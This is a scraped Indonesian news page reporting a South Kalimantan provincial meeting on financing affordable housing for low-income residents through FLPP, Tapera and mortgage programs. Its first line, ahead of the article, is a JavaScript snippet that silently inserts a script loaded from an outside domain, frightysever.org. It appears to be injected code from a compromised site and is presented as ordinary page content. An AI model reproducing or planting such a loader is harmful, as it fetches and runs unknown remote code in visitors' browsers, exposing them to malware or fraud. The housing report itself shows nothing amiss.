(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Harga rumah terjangkau menjadi hal sangat penting terutama bagi masyarakat berpenghasilan rendah. Pemerintah Provinsi Kalimantan Selatan memberikan komitmen untuk mempermudah masyarakat dalam memiliki rumah layak dan berkualitas dengan harga terjangkau.
Asisten Perekonomian dan Pembangunan Setda Provinsi Kalsel, Muhammad Amin menyatakan bahwa pemerintah ingin meningkatkan akses pembiayaan dalam pemenuhan kebutuhan perumahan terutama bagi masyarakat berpenghasilan rendah (MBR).
Menurutnya, masih terdapat ketimpangan antara pasokan dan kebutuhan perumahan khususnya bagi masyarakat berpenghasilan rendah.
Beberapa permasalahan yang dihadapi antara lain keterbatasan kapasitas pengembang yang belum didukung oleh regulasi yang bersifat insentif, rendahnya keterjangkauan kebutuhan perumahan bagi MBR baik dalam membangun atau membeli rumah, hingga terbatasnya kemampuan ekonomi yang seringkali membuat MBR kesulitan untuk mengakses rumah yang layak dan terjangkau.
“Untuk itu, rapat koordinasi ini bertujuan untuk meningkatkan akses pembiayaan dalam pemenuhan kebutuhan perumahan terutama bagi masyarakat berpenghasilan rendah (MBR) melalui sumber pembiayaan seperti FLPP, Tapera, dan lainnya untuk mendapatkan Kredit Pemilikan Rumah (KPR),” kata Amin saat membuka kegiatan rapat koordiansi Forum Pengembangan Perumahan Baru dan Mekanisme Akses Perumahan KPR-FLPP tahun 2024 di Banjarmasin, Senin (29/4/2024).
Dia berharap melalui kegiatan ini dapat tercapai kesepakatan dan menghasilkan solusi terbaik dalam menyediakan akses perumahan yang lebih baik bagi MBR.
“Forum ini dapat menemukan terobosan-terobosan baru dalam pengembangan perumahan baru dan mekanisme akses perumahan KPR-FLPP yang lebih efektif dan berpihak kepada masyarakat berpenghasilan rendah,” ujarnya.
Berbagai pihak terkait, baik pemerintah, pengembang, perbankan, serta para pakar dan akademisi, diharapkan dapat saling berbagi gagasan dan pengalaman untuk mewujudkan program perumahan yang terjangkau dan berkelanjutan.
“Pemerintah Provinsi Kalimantan Selatan sangat memperhatikan hal ini. Kemampuan masyarakat untuk memiliki rumah serta ketersediaan dan akses perumahan dan permukiman menjadi salah satu fokus pembangunan daerah,” katanya.
Sementara itu, Kepala Dinas Perumahan Rakyat dan Kawasan Permukiman Provinsi Kalimantan Selatan, Mursyidah Aminy mengatakan, rapat koordinasi ini dalam rangka menyosialisasikan perkembangan perumahan baru dan mekanisme pembiayaan perumahan, karena masih banyak yang belum tahu program perumahan.
“Kalau ASN melalui program Taspen sedangkan non ASN dan masyarakat melalui program FLPP,” kata Mursyidah. (Kanalkalimantan.com/infopublik/mckalsel)
Reporter : infopublik
Editor : kk
KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More
This website uses cookies.